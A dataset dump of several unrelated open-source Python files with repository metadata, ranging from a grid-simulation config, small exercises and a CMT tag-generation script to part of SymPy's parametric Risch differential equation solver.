"BSD-3-Clause"
] | 3 | 2020-06-11T02:48:49.000Z | 2021-08-10T07:13:57.000Z |
""" Default values : DO NOT CHANGE !!!"""
LOG_FORMAT = "%(asctime)s: %(levelname)s: %(message)s"
DATE_FORMAT = "%Y-%m-%d %H:%M:%S"
MAXITERATIONS = 100
LIFE_PARAMETERS = {"theta_i":30,"theta_fl":36,"theta_gfl":28.6,
"R":4.87,"n":1,"tau":3.5,"m":1,"A":-13.391,
"B":6972.15,"num_of_iteration":4,}
DEFAULT_TEMP = 25
MAX_TRANS_LOADING = 1.5
DEFAULT_CONFIGURATION = {
"dss_filepath": "",
"dss_filename":"",
"extra_data_path": ".",
"export_folder":"",
"start_time":"2018-1-1 0:0:0",
"end_time":"2018-2-1 0:0:0",
"simulation_time_step (minute)": 15,
"frequency": 50,
"upper_voltage": 1.1,
"lower_voltage":0.9,
"record_every": 96,
"export_voltages": False,
"export_lineloadings": False,
"export_transloadings":False,
"export_start_date": "",
"export_end_date": "",
"volt_var": {
"enabled": False,
"yarray": [0.44,0.44,0,0,-0.44,-0.44],
"xarray": [0.7,0.90,0.95,1.05,1.10,1.3]
},
"log_settings": {
"save_in_file": False,
"log_folder": ".",
"log_filename":"logs.log",
"clear_old_log_file": True
}
}
DEFAULT_ADVANCED_CONFIGURATION = {
"project_path": "C:\\Users\\KDUWADI\\Desktop\\NREL_Projects\\CIFF-TANGEDCO\\TANGEDCO\\EMERGE\\Projects",
"active_project":"GR_PALAYAM",
"active_scenario": "FullYear",
"dss_filename":"gr_palayam.dss",
"start_time":"2018-1-1 0:0:0",
"end_time":"2018-1-2 0:0:0",
"simulation_time_step (minute)": 60,
"frequency": 50,
"upper_voltage": 1.1,
"lower_voltage":0.9,
"record_every": 4,
"parallel_simulation":True,
"parallel_process": 1,
"export_voltages": False,
"export_lineloadings": False,
"export_transloadings":False,
"export_start_date": "",
"export_end_date": "",
"volt_var": {
"enabled": True,
"yarray": [0.44,0.44,0,0,-0.44,-0.44],
"xarray": [0.7,0.90,0.95,1.05,1.10,1.3]
},
"log_settings": {
"save_in_file": False,
"log_filename":"",
"clear_old_log_file": True
}
}
VALID_SETTINGS = {
"project_path":{'type':str},
"active_project":{'type':str},
"active_scenario":{'type':str},
"dss_filepath": {'type': str},
"dss_filename":{'type':str},
"export_folder":{'type':str},
"start_time":{'type':str},
"end_time":{'type':str},
"simulation_time_step (minute)":{'type':int},
"frequency": {'type':int,'options':[50,60]},
"upper_voltage": {'type':float,'range':[1,1.5]},
"lower_voltage":{'type':float,'range':[0.8,1]},
"record_every": {'type':int},
"extra_data_path":{'type':str},
"parallel_simulation":{'type':bool},
"parallel_process": {'type':int,'range':[1,4]},
"export_voltages": {'type':bool},
"export_lineloadings": {'type':bool},
"export_transloadings":{'type':bool},
"export_start_date": {'type':str},
"export_end_date": {'type':str},
"volt_var": {
"enabled": {'type':bool},
"yarray": {'type':list},
"xarray": {'type':list}
},
"log_settings": {
"save_in_file": {'type':bool},
"log_folder": {'type':str},
"log_filename":{'type':str},
"clear_old_log_file": {'type':bool}
}
}
| 35.567568 | 108 | 0.472898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,823 | 0.461753 |
7cb5817de3a17f08a3afdfbe15a3bbd0fbe2d1d8 | 346 | py | Python | setup.py | GeorgeDittmar/MarkovTextGenerator | df6a56e23051e1f263ba22889dc3b5d0dc03e370 | [
"Apache-2.0"
] | 1 | 2021-11-26T15:49:31.000Z | 2021-11-26T15:49:31.000Z | setup.py | GeorgeDittmar/Mimic | df6a56e23051e1f263ba22889dc3b5d0dc03e370 | [
"Apache-2.0"
] | 1 | 2019-06-24T17:30:41.000Z | 2019-06-26T04:53:00.000Z | setup.py | GeorgeDittmar/MarkovTextGenerator | df6a56e23051e1f263ba22889dc3b5d0dc03e370 | [
"Apache-2.0"
] | 2 | 2020-05-04T07:57:17.000Z | 2021-02-23T05:10:11.000Z | #!/usr/bin/env python
from distutils.core import setup
setup(name='Mimik',
version='1.0',
description='Python framework for markov models',
author='George Dittmar',
author_email='georgedittmar@gmail.com',
url='https://www.python.org/sigs/distutils-sig/',
packages=['distutils', 'distutils.command'],
)
| 26.615385 | 55 | 0.65896 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 184 | 0.531792 |
7cbab3e957076a86de0198f2fb2ae52e8d52e634 | 173 | py | Python | lino_book/projects/min9/settings/memory.py | khchine5/book | b6272d33d49d12335d25cf0a2660f7996680b1d1 | [
"BSD-2-Clause"
] | 1 | 2018-01-12T14:09:58.000Z | 2018-01-12T14:09:58.000Z | lino_book/projects/min9/settings/memory.py | khchine5/book | b6272d33d49d12335d25cf0a2660f7996680b1d1 | [
"BSD-2-Clause"
] | 4 | 2018-02-06T19:53:10.000Z | 2019-08-01T21:47:44.000Z | lino_book/projects/min9/settings/memory.py | khchine5/book | b6272d33d49d12335d25cf0a2660f7996680b1d1 | [
"BSD-2-Clause"
] | null | null | null | from .demo import *
SITE.verbose_name = SITE.verbose_name + " (:memory:)"
# SITE = Site(globals(), title=Site.title+" (:memory:)")
DATABASES['default']['NAME'] = ':memory:'
| 34.6 | 56 | 0.653179 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 94 | 0.543353 |
7cbb90e215684507ec88ead7205a67d14728eaf9 | 809 | py | Python | chainer/_version.py | yumetov/chainer | 522e017a18008ee00e39f4ae4b30f4f9db3824b2 | [
"MIT"
] | 3,705 | 2017-06-01T07:36:12.000Z | 2022-03-30T10:46:15.000Z | chainer/_version.py | yumetov/chainer | 522e017a18008ee00e39f4ae4b30f4f9db3824b2 | [
"MIT"
] | 5,998 | 2017-06-01T06:40:17.000Z | 2022-03-08T01:42:44.000Z | chainer/_version.py | yumetov/chainer | 522e017a18008ee00e39f4ae4b30f4f9db3824b2 | [
"MIT"
] | 1,150 | 2017-06-02T03:39:46.000Z | 2022-03-29T02:29:32.000Z | __version__ = '7.8.0'
_optional_dependencies = [
{
'name': 'CuPy',
'packages': [
'cupy-cuda120',
'cupy-cuda114',
'cupy-cuda113',
'cupy-cuda112',
'cupy-cuda111',
'cupy-cuda110',
'cupy-cuda102',
'cupy-cuda101',
'cupy-cuda100',
'cupy-cuda92',
'cupy-cuda91',
'cupy-cuda90',
'cupy-cuda80',
'cupy',
],
'specifier': '>=7.7.0,<8.0.0',
'help': 'https://docs.cupy.dev/en/latest/install.html',
},
{
'name': 'iDeep',
'packages': [
'ideep4py',
],
'specifier': '>=2.0.0.post3, <2.1',
'help': 'https://docs.chainer.org/en/latest/tips.html',
},
]
| 23.114286 | 63 | 0.410383 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 409 | 0.505562 |
7cbd6ca4479663e9722341b796b7cdd0073b6b18 | 1,507 | py | Python | 03_picnic/picnic.py | intimanipuchi/tiny_python_projects | 5e419620ae07b0bcf8df073ba3f6c6c3d7d1a93c | [
"MIT"
] | null | null | null | 03_picnic/picnic.py | intimanipuchi/tiny_python_projects | 5e419620ae07b0bcf8df073ba3f6c6c3d7d1a93c | [
"MIT"
] | null | null | null | 03_picnic/picnic.py | intimanipuchi/tiny_python_projects | 5e419620ae07b0bcf8df073ba3f6c6c3d7d1a93c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""
Author : Roman Koziy <koziyroman@gmail.com>
Date : 2021-12-15
Purpose: Working with lists
"""
import argparse
# --------------------------------------------------
def get_args():
"""Get command-line arguments"""
parser = argparse.ArgumentParser(
description="Working with lists",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument("items",
type=str,
nargs="+",
metavar="str",
help="item(s) to bring")
parser.add_argument("-s",
"--sorted",
help="a boolean flag",
action="store_true")
return parser.parse_args()
# --------------------------------------------------
def main():
"""The main function: formatting and printing the output"""
args = get_args()
sort_flag = args.sorted
items = args.items
if sort_flag:
items = sorted(items)
if len(items) == 1:
print(f"You are bringing {items[0]}.")
elif len(items) < 3:
items.insert(-1, "and")
print(f"You are bringing {' '.join(items)}.")
else:
# print(items)
last = items[-1]
and_last = "and " + last
items[-1] = and_last
# print(items)
print(f"You are bringing {', '.join(items)}.")
# --------------------------------------------------
if __name__ == "__main__":
main()
| 25.116667 | 63 | 0.472462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 620 | 0.411413 |
7cbd753ba4fba3e640a8395f823b9af2ba40868f | 400 | py | Python | triangle.py | montyshyama/python-basics | d71156d70fdadc722a192b984e9bff66401ab894 | [
"MIT"
] | null | null | null | triangle.py | montyshyama/python-basics | d71156d70fdadc722a192b984e9bff66401ab894 | [
"MIT"
] | null | null | null | triangle.py | montyshyama/python-basics | d71156d70fdadc722a192b984e9bff66401ab894 | [
"MIT"
] | 1 | 2020-04-05T20:06:08.000Z | 2020-04-05T20:06:08.000Z | side_a=int(input("Enter the first side(a):"))
side_b=int(input("Enter the second side(b):"))
side_c=int(input("Enter the third side(c):"))
if side_a==side_b and side_a==side_c:
print("The triangle is an equilateral triangle.")
elif side_a==side_b or side_a==side_c or side_b==side_c:
print("The triangle is an isosceles triangle.")
else:
print("The triangle is scalene triangle.") | 44.444444 | 57 | 0.7075 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 196 | 0.49 |
7cbe3198f6071ec0d541441f81f18f624a937b6f | 5,044 | py | Python | t2k/bin/cmttags.py | tianluyuan/pyutils | 2cd3a90dbbd3d0eec3054fb9493ca0f6e0272e50 | [
"MIT"
] | 1 | 2019-02-22T10:57:13.000Z | 2019-02-22T10:57:13.000Z | t2k/bin/cmttags.py | tianluyuan/pyutils | 2cd3a90dbbd3d0eec3054fb9493ca0f6e0272e50 | [
"MIT"
] | null | null | null | t2k/bin/cmttags.py | tianluyuan/pyutils | 2cd3a90dbbd3d0eec3054fb9493ca0f6e0272e50 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
A script to create tags for CMT managed packages.
Call from within cmt/ directory
"""
import subprocess
import sys
import os
from optparse import OptionParser
__author__ = 'Tianlu Yuan'
__email__ = 'tianlu.yuan [at] colorado.edu'
# Ignore large external packages for now
IGNORES = ['CMT', 'EXTERN', 'GSL', 'MYSQL', 'GEANT', 'CLHEP']
# Extensions for finding src files, must satisfy unix wildcard rules
EXTENSIONS = {'cpp': ('*.[hc]', '*.[hc]xx', '*.[hc]pp', '*.cc', '*.hh'),
'python':('*.py'),
'java':('*.java')}
# Ignore these files and dirs, key specifies argument to find
# (e.g. '-iname')
PRUNE = {'iname':['*_Dict.[hc]*', '*linkdef.h']}
def check_dir():
""" Are we inside cmt/
"""
if os.path.basename(os.getcwd()) != 'cmt':
sys.exit('Not inside cmt directory!')
def check_requirements():
""" Ensure that requirements file exists in cmt dir
"""
if not os.path.isfile('requirements'):
sys.exit('No requirements file!')
def init_use_dict():
"""Returns the initial use_dict which contains the current (cwd)
package and its path. 'cmt show uses' does not include the
package itself.
"""
# Must call os.path.dirname because the cwd should be inside a cmt
# directory
return {'this':os.path.dirname(os.getcwd())}
def parse_uses():
""" Returns a dict of used packages and their root dir paths.
e.g. {ROOT:/path/to/cmt/installed/ROOT/vXrY}
"""
check_dir()
check_requirements()
proc = subprocess.Popen(['cmt', 'show', 'uses'],
stdout=subprocess.PIPE)
use_dict = init_use_dict()
for line in iter(proc.stdout.readline, ''):
tokens = line.split()
# ignore lines that start with '#'
if line[0] != '#' and tokens[1] not in IGNORES:
basepath = tokens[-1].strip('()')
# highland and psyche do not strictly follow CMT path
# organization. They have subpackages within a master, so
# we need to take that into account
relpath_list = [master for master in tokens[3:-1]]
relpath_list.extend([tokens[1], tokens[2]])
use_dict[tokens[1]] = os.path.join(basepath, *relpath_list)
return use_dict
def get_exts(opts):
if opts.python:
return EXTENSIONS['python']
elif opts.java:
return EXTENSIONS['java']
else:
return EXTENSIONS['cpp']
def build_find_args(exts):
""" ext is a list of file extensions corresponding to the files we want
to search. This will return a list of arguments that can be passed to `find`
"""
find_args = []
for a_ext in exts:
# -o for "or"
find_args.extend(['-o', '-iname'])
find_args.append('{0}'.format(a_ext))
# replace first '-o' with '( for grouping matches
find_args[0] = '('
# append parens for grouping negation
find_args.extend([')', '('])
# Add prune files
for match_type in PRUNE:
for aprune in PRUNE[match_type]:
find_args.append('-not')
find_args.append('-'+match_type)
find_args.append('{0}'.format(aprune))
find_args.append(')')
return find_args
def build_find_cmd(opts, paths):
""" Builds teh cmd file using ctags. Returns cmd based on the following
template: 'find {0} -type f {1} | etags -'
"""
find_args = build_find_args(get_exts(opts))
return ['find']+paths+['-type', 'f']+find_args
def build_tags_cmd():
return ['etags', '-']
def main():
""" Uses ctags to generate TAGS file in cmt directory based on cmt show uses
"""
parser = OptionParser()
parser.add_option('--cpp',
dest='cpp',
action='store_true',
default=False,
help='tag only c/cpp files (default)')
parser.add_option('--python',
dest='python',
action='store_true',
default=False,
help='tag only python files')
parser.add_option('--java',
dest='java',
action='store_true',
default=False,
help='tag only java files')
parser.add_option('-n',
dest='dry_run',
action='store_true',
default=False,
help='dry run')
(opts, args) = parser.parse_args()
# get the cmt show uses dictionary of programs and paths
use_dict = parse_uses()
# build the commands
find_cmd = build_find_cmd(opts, list(use_dict.itervalues()))
tags_cmd = build_tags_cmd()
print 'Creating TAGS file based on dependencies:'
print use_dict
if not opts.dry_run:
find_proc = subprocess.Popen(find_cmd, stdout=subprocess.PIPE)
tags_proc = subprocess.Popen(tags_cmd, stdin=find_proc.stdout)
tags_proc.communicate()
if __name__ == '__main__':
main()
| 28.822857 | 80 | 0.585052 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,101 | 0.416534 |
7cde0e155e222f52e34bae521e25a21b28caf52a | 550 | py | Python | Code/extract_method3.py | AbdullahNoori/CS-2.1-Trees-Sorting | 59ba182d60abe6171a3d7d64981f79ee192de3bb | [
"MIT"
] | null | null | null | Code/extract_method3.py | AbdullahNoori/CS-2.1-Trees-Sorting | 59ba182d60abe6171a3d7d64981f79ee192de3bb | [
"MIT"
] | null | null | null | Code/extract_method3.py | AbdullahNoori/CS-2.1-Trees-Sorting | 59ba182d60abe6171a3d7d64981f79ee192de3bb | [
"MIT"
] | null | null | null | # Written by Kamran Bigdely
# Example for Compose Methods: Extract Method.
import math
def get_distance(xc1=5, xc2=7.25, yc1=22, yc2=-4.84):
# Calculate the distance between the two circle
return math.sqrt((xc1-xc2)**2 + (yc1 - yc2)**2)
print('distance', get_distance())
# *** somewhere else in your program ***
def get_length(xa=-50, ya=99, xb=.67, yb=.26):
# calcualte the length of vector AB vector which is a vector between A and B points.
return math.sqrt((xa-xb)*(xa-xb) + (ya-yb)*(ya-yb))
print('length', get_length())
| 26.190476 | 88 | 0.670909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 262 | 0.476364 |
7cde5911adb7d9da7046ae21614759503f243fc8 | 51,158 | py | Python | sympy/integrals/prde.py | Abhi58/sympy | 5ca228b17a7d44ef08a268ba1fa959d5763634af | [
"BSD-3-Clause"
] | 2 | 2019-06-12T16:15:39.000Z | 2019-10-06T10:40:59.000Z | sympy/integrals/prde.py | Abhi58/sympy | 5ca228b17a7d44ef08a268ba1fa959d5763634af | [
"BSD-3-Clause"
] | null | null | null | sympy/integrals/prde.py | Abhi58/sympy | 5ca228b17a7d44ef08a268ba1fa959d5763634af | [
"BSD-3-Clause"
] | 1 | 2019-10-02T10:47:13.000Z | 2019-10-02T10:47:13.000Z | """
Algorithms for solving Parametric Risch Differential Equations.
The methods used for solving Parametric Risch Differential Equations parallel
those for solving Risch Differential Equations. See the outline in the
docstring of rde.py for more information.
The Parametric Risch Differential Equation problem is, given f, g1, ..., gm in
K(t), to determine if there exist y in K(t) and c1, ..., cm in Const(K) such
that Dy + f*y == Sum(ci*gi, (i, 1, m)), and to find such y and ci if they exist.
For the algorithms here G is a list of tuples of factions of the terms on the
right hand side of the equation (i.e., gi in k(t)), and Q is a list of terms on
the right hand side of the equation (i.e., qi in k[t]). See the docstring of
each function for more information.
"""
from __future__ import print_function, division
from sympy.core import Dummy, ilcm, Add, Mul, Pow, S
from sympy.core.compatibility import reduce, range
from sympy.integrals.rde import (order_at, order_at_oo, weak_normalizer,
bound_degree)
from sympy.integrals.risch import (gcdex_diophantine, frac_in, derivation,
residue_reduce, splitfactor, residue_reduce_derivation, DecrementLevel,
recognize_log_derivative)
from sympy.matrices import zeros, eye
from sympy.polys import Poly, lcm, cancel, sqf_list
from sympy.polys.polymatrix import PolyMatrix as Matrix
from sympy.solvers import solve
def prde_normal_denom(fa, fd, G, DE):
"""
Parametric Risch Differential Equation - Normal part of the denominator.
Given a derivation D on k[t] and f, g1, ..., gm in k(t) with f weakly
normalized with respect to t, return the tuple (a, b, G, h) such that
a, h in k[t], b in k<t>, G = [g1, ..., gm] in k(t)^m, and for any solution
c1, ..., cm in Const(k) and y in k(t) of Dy + f*y == Sum(ci*gi, (i, 1, m)),
q == y*h in k<t> satisfies a*Dq + b*q == Sum(ci*Gi, (i, 1, m)).
"""
dn, ds = splitfactor(fd, DE)
Gas, Gds = list(zip(*G))
gd = reduce(lambda i, j: i.lcm(j), Gds, Poly(1, DE.t))
en, es = splitfactor(gd, DE)
p = dn.gcd(en)
h = en.gcd(en.diff(DE.t)).quo(p.gcd(p.diff(DE.t)))
a = dn*h
c = a*h
ba = a*fa - dn*derivation(h, DE)*fd
ba, bd = ba.cancel(fd, include=True)
G = [(c*A).cancel(D, include=True) for A, D in G]
return (a, (ba, bd), G, h)
def real_imag(ba, bd, gen):
"""
Helper function, to get the real and imaginary part of a rational function
evaluated at sqrt(-1) without actually evaluating it at sqrt(-1)
Separates the even and odd power terms by checking the degree of terms wrt
mod 4. Returns a tuple (ba[0], ba[1], bd) where ba[0] is real part
of the numerator ba[1] is the imaginary part and bd is the denominator
of the rational function.
"""
bd = bd.as_poly(gen).as_dict()
ba = ba.as_poly(gen).as_dict()
denom_real = [value if key[0] % 4 == 0 else -value if key[0] % 4 == 2 else 0 for key, value in bd.items()]
denom_imag = [value if key[0] % 4 == 1 else -value if key[0] % 4 == 3 else 0 for key, value in bd.items()]
bd_real = sum(r for r in denom_real)
bd_imag = sum(r for r in denom_imag)
num_real = [value if key[0] % 4 == 0 else -value if key[0] % 4 == 2 else 0 for key, value in ba.items()]
num_imag = [value if key[0] % 4 == 1 else -value if key[0] % 4 == 3 else 0 for key, value in ba.items()]
ba_real = sum(r for r in num_real)
ba_imag = sum(r for r in num_imag)
ba = ((ba_real*bd_real + ba_imag*bd_imag).as_poly(gen), (ba_imag*bd_real - ba_real*bd_imag).as_poly(gen))
bd = (bd_real*bd_real + bd_imag*bd_imag).as_poly(gen)
return (ba[0], ba[1], bd)
def prde_special_denom(a, ba, bd, G, DE, case='auto'):
"""
Parametric Risch Differential Equation - Special part of the denominator.
case is one of {'exp', 'tan', 'primitive'} for the hyperexponential,
hypertangent, and primitive cases, respectively. For the hyperexponential
(resp. hypertangent) case, given a derivation D on k[t] and a in k[t],
b in k<t>, and g1, ..., gm in k(t) with Dt/t in k (resp. Dt/(t**2 + 1) in
k, sqrt(-1) not in k), a != 0, and gcd(a, t) == 1 (resp.
gcd(a, t**2 + 1) == 1), return the tuple (A, B, GG, h) such that A, B, h in
k[t], GG = [gg1, ..., ggm] in k(t)^m, and for any solution c1, ..., cm in
Const(k) and q in k<t> of a*Dq + b*q == Sum(ci*gi, (i, 1, m)), r == q*h in
k[t] satisfies A*Dr + B*r == Sum(ci*ggi, (i, 1, m)).
For case == 'primitive', k<t> == k[t], so it returns (a, b, G, 1) in this
case.
"""
# TODO: Merge this with the very similar special_denom() in rde.py
if case == 'auto':
case = DE.case
if case == 'exp':
p = Poly(DE.t, DE.t)
elif case == 'tan':
p = Poly(DE.t**2 + 1, DE.t)
elif case in ['primitive', 'base']:
B = ba.quo(bd)
return (a, B, G, Poly(1, DE.t))
else:
raise ValueError("case must be one of {'exp', 'tan', 'primitive', "
"'base'}, not %s." % case)
nb = order_at(ba, p, DE.t) - order_at(bd, p, DE.t)
nc = min([order_at(Ga, p, DE.t) - order_at(Gd, p, DE.t) for Ga, Gd in G])
n = min(0, nc - min(0, nb))
if not nb:
# Possible cancellation.
if case == 'exp':
dcoeff = DE.d.quo(Poly(DE.t, DE.t))
with DecrementLevel(DE): # We are guaranteed to not have problems,
# because case != 'base'.
alphaa, alphad = frac_in(-ba.eval(0)/bd.eval(0)/a.eval(0), DE.t)
etaa, etad = frac_in(dcoeff, DE.t)
A = parametric_log_deriv(alphaa, alphad, etaa, etad, DE)
if A is not None:
Q, m, z = A
if Q == 1:
n = min(n, m)
elif case == 'tan':
dcoeff = DE.d.quo(Poly(DE.t**2 + 1, DE.t))
with DecrementLevel(DE): # We are guaranteed to not have problems,
# because case != 'base'.
betaa, alphaa, alphad = real_imag(ba, bd*a, DE.t)
betad = alphad
etaa, etad = frac_in(dcoeff, DE.t)
if recognize_log_derivative(2*betaa, betad, DE):
A = parametric_log_deriv(alphaa, alphad, etaa, etad, DE)
B = parametric_log_deriv(betaa, betad, etaa, etad, DE)
if A is not None and B is not None:
Q, s, z = A
# TODO: Add test
if Q == 1:
n = min(n, s/2)
N = max(0, -nb)
pN = p**N
pn = p**-n # This is 1/h
A = a*pN
B = ba*pN.quo(bd) + Poly(n, DE.t)*a*derivation(p, DE).quo(p)*pN
G = [(Ga*pN*pn).cancel(Gd, include=True) for Ga, Gd in G]
h = pn
# (a*p**N, (b + n*a*Dp/p)*p**N, g1*p**(N - n), ..., gm*p**(N - n), p**-n)
return (A, B, G, h)
def prde_linear_constraints(a, b, G, DE):
"""
Parametric Risch Differential Equation - Generate linear constraints on the constants.
Given a derivation D on k[t], a, b, in k[t] with gcd(a, b) == 1, and
G = [g1, ..., gm] in k(t)^m, return Q = [q1, ..., qm] in k[t]^m and a
matrix M with entries in k(t) such that for any solution c1, ..., cm in
Const(k) and p in k[t] of a*Dp + b*p == Sum(ci*gi, (i, 1, m)),
(c1, ..., cm) is a solution of Mx == 0, and p and the ci satisfy
a*Dp + b*p == Sum(ci*qi, (i, 1, m)).
Because M has entries in k(t), and because Matrix doesn't play well with
Poly, M will be a Matrix of Basic expressions.
"""
m = len(G)
Gns, Gds = list(zip(*G))
d = reduce(lambda i, j: i.lcm(j), Gds)
d = Poly(d, field=True)
Q = [(ga*(d).quo(gd)).div(d) for ga, gd in G]
if not all([ri.is_zero for _, ri in Q]):
N = max([ri.degree(DE.t) for _, ri in Q])
M = Matrix(N + 1, m, lambda i, j: Q[j][1].nth(i))
else:
M = Matrix(0, m, []) # No constraints, return the empty matrix.
qs, _ = list(zip(*Q))
return (qs, M)
def poly_linear_constraints(p, d):
"""
Given p = [p1, ..., pm] in k[t]^m and d in k[t], return
q = [q1, ..., qm] in k[t]^m and a matrix M with entries in k such
that Sum(ci*pi, (i, 1, m)), for c1, ..., cm in k, is divisible
by d if and only if (c1, ..., cm) is a solution of Mx = 0, in
which case the quotient is Sum(ci*qi, (i, 1, m)).
"""
m = len(p)
q, r = zip(*[pi.div(d) for pi in p])
if not all([ri.is_zero for ri in r]):
n = max([ri.degree() for ri in r])
M = Matrix(n + 1, m, lambda i, j: r[j].nth(i))
else:
M = Matrix(0, m, []) # No constraints.
return q, M
def constant_system(A, u, DE):
"""
Generate a system for the constant solutions.
Given a differential field (K, D) with constant field C = Const(K), a Matrix
A, and a vector (Matrix) u with coefficients in K, returns the tuple
(B, v, s), where B is a Matrix with coefficients in C and v is a vector
(Matrix) such that either v has coefficients in C, in which case s is True
and the solutions in C of Ax == u are exactly all the solutions of Bx == v,
or v has a non-constant coefficient, in which case s is False Ax == u has no
constant solution.
This algorithm is used both in solving parametric problems and in
determining if an element a of K is a derivative of an element of K or the
logarithmic derivative of a K-radical using the structure theorem approach.
Because Poly does not play well with Matrix yet, this algorithm assumes that
all matrix entries are Basic expressions.
"""
if not A:
return A, u
Au = A.row_join(u)
Au = Au.rref(simplify=cancel, normalize_last=False)[0]
# Warning: This will NOT return correct results if cancel() cannot reduce
# an identically zero expression to 0. The danger is that we might
# incorrectly prove that an integral is nonelementary (such as
# risch_integrate(exp((sin(x)**2 + cos(x)**2 - 1)*x**2), x).
# But this is a limitation in computer algebra in general, and implicit
# in the correctness of the Risch Algorithm is the computability of the
# constant field (actually, this same correctness problem exists in any
# algorithm that uses rref()).
#
# We therefore limit ourselves to constant fields that are computable
# via the cancel() function, in order to prevent a speed bottleneck from
# calling some more complex simplification function (rational function
# coefficients will fall into this class). Furthermore, (I believe) this
# problem will only crop up if the integral explicitly contains an
# expression in the constant field that is identically zero, but cannot
# be reduced to such by cancel(). Therefore, a careful user can avoid this
# problem entirely by being careful with the sorts of expressions that
# appear in his integrand in the variables other than the integration
# variable (the structure theorems should be able to completely decide these
# problems in the integration variable).
Au = Au.applyfunc(cancel)
A, u = Au[:, :-1], Au[:, -1]
for j in range(A.cols):
for i in range(A.rows):
if A[i, j].has(*DE.T):
# This assumes that const(F(t0, ..., tn) == const(K) == F
Ri = A[i, :]
# Rm+1; m = A.rows
Rm1 = Ri.applyfunc(lambda x: derivation(x, DE, basic=True)/
derivation(A[i, j], DE, basic=True))
Rm1 = Rm1.applyfunc(cancel)
um1 = cancel(derivation(u[i], DE, basic=True)/
derivation(A[i, j], DE, basic=True))
for s in range(A.rows):
# A[s, :] = A[s, :] - A[s, i]*A[:, m+1]
Asj = A[s, j]
A.row_op(s, lambda r, jj: cancel(r - Asj*Rm1[jj]))
# u[s] = u[s] - A[s, j]*u[m+1
u.row_op(s, lambda r, jj: cancel(r - Asj*um1))
A = A.col_join(Rm1)
u = u.col_join(Matrix([um1]))
return (A, u)
def prde_spde(a, b, Q, n, DE):
"""
Special Polynomial Differential Equation algorithm: Parametric Version.
Given a derivation D on k[t], an integer n, and a, b, q1, ..., qm in k[t]
with deg(a) > 0 and gcd(a, b) == 1, return (A, B, Q, R, n1), with
Qq = [q1, ..., qm] and R = [r1, ..., rm], such that for any solution
c1, ..., cm in Const(k) and q in k[t] of degree at most n of
a*Dq + b*q == Sum(ci*gi, (i, 1, m)), p = (q - Sum(ci*ri, (i, 1, m)))/a has
degree at most n1 and satisfies A*Dp + B*p == Sum(ci*qi, (i, 1, m))
"""
R, Z = list(zip(*[gcdex_diophantine(b, a, qi) for qi in Q]))
A = a
B = b + derivation(a, DE)
Qq = [zi - derivation(ri, DE) for ri, zi in zip(R, Z)]
R = list(R)
n1 = n - a.degree(DE.t)
return (A, B, Qq, R, n1)
def prde_no_cancel_b_large(b, Q, n, DE):
"""
Parametric Poly Risch Differential Equation - No cancellation: deg(b) large enough.
Given a derivation D on k[t], n in ZZ, and b, q1, ..., qm in k[t] with
b != 0 and either D == d/dt or deg(b) > max(0, deg(D) - 1), returns
h1, ..., hr in k[t] and a matrix A with coefficients in Const(k) such that
if c1, ..., cm in Const(k) and q in k[t] satisfy deg(q) <= n and
Dq + b*q == Sum(ci*qi, (i, 1, m)), then q = Sum(dj*hj, (j, 1, r)), where
d1, ..., dr in Const(k) and A*Matrix([[c1, ..., cm, d1, ..., dr]]).T == 0.
"""
db = b.degree(DE.t)
m = len(Q)
H = [Poly(0, DE.t)]*m
for N in range(n, -1, -1): # [n, ..., 0]
for i in range(m):
si = Q[i].nth(N + db)/b.LC()
sitn = Poly(si*DE.t**N, DE.t)
H[i] = H[i] + sitn
Q[i] = Q[i] - derivation(sitn, DE) - b*sitn
if all(qi.is_zero for qi in Q):
dc = -1
M = zeros(0, 2)
else:
dc = max([qi.degree(DE.t) for qi in Q])
M = Matrix(dc + 1, m, lambda i, j: Q[j].nth(i))
A, u = constant_system(M, zeros(dc + 1, 1), DE)
c = eye(m)
A = A.row_join(zeros(A.rows, m)).col_join(c.row_join(-c))
return (H, A)
def prde_no_cancel_b_small(b, Q, n, DE):
"""
Parametric Poly Risch Differential Equation - No cancellation: deg(b) small enough.
Given a derivation D on k[t], n in ZZ, and b, q1, ..., qm in k[t] with
deg(b) < deg(D) - 1 and either D == d/dt or deg(D) >= 2, returns
h1, ..., hr in k[t] and a matrix A with coefficients in Const(k) such that
if c1, ..., cm in Const(k) and q in k[t] satisfy deg(q) <= n and
Dq + b*q == Sum(ci*qi, (i, 1, m)) then q = Sum(dj*hj, (j, 1, r)) where
d1, ..., dr in Const(k) and A*Matrix([[c1, ..., cm, d1, ..., dr]]).T == 0.
"""
m = len(Q)
H = [Poly(0, DE.t)]*m
for N in range(n, 0, -1): # [n, ..., 1]
for i in range(m):
si = Q[i].nth(N + DE.d.degree(DE.t) - 1)/(N*DE.d.LC())
sitn = Poly(si*DE.t**N, DE.t)
H[i] = H[i] + sitn
Q[i] = Q[i] - derivation(sitn, DE) - b*sitn
if b.degree(DE.t) > 0:
for i in range(m):
si = Poly(Q[i].nth(b.degree(DE.t))/b.LC(), DE.t)
H[i] = H[i] + si
Q[i] = Q[i] - derivation(si, DE) - b*si
if all(qi.is_zero for qi in Q):
dc = -1
M = Matrix()
else:
dc = max([qi.degree(DE.t) for qi in Q])
M = Matrix(dc + 1, m, lambda i, j: Q[j].nth(i))
A, u = constant_system(M, zeros(dc + 1, 1), DE)
c = eye(m)
A = A.row_join(zeros(A.rows, m)).col_join(c.row_join(-c))
return (H, A)
# else: b is in k, deg(qi) < deg(Dt)
t = DE.t
if DE.case != 'base':
with DecrementLevel(DE):
t0 = DE.t # k = k0(t0)
ba, bd = frac_in(b, t0, field=True)
Q0 = [frac_in(qi.TC(), t0, field=True) for qi in Q]
f, B = param_rischDE(ba, bd, Q0, DE)
# f = [f1, ..., fr] in k^r and B is a matrix with
# m + r columns and entries in Const(k) = Const(k0)
# such that Dy0 + b*y0 = Sum(ci*qi, (i, 1, m)) has
# a solution y0 in k with c1, ..., cm in Const(k)
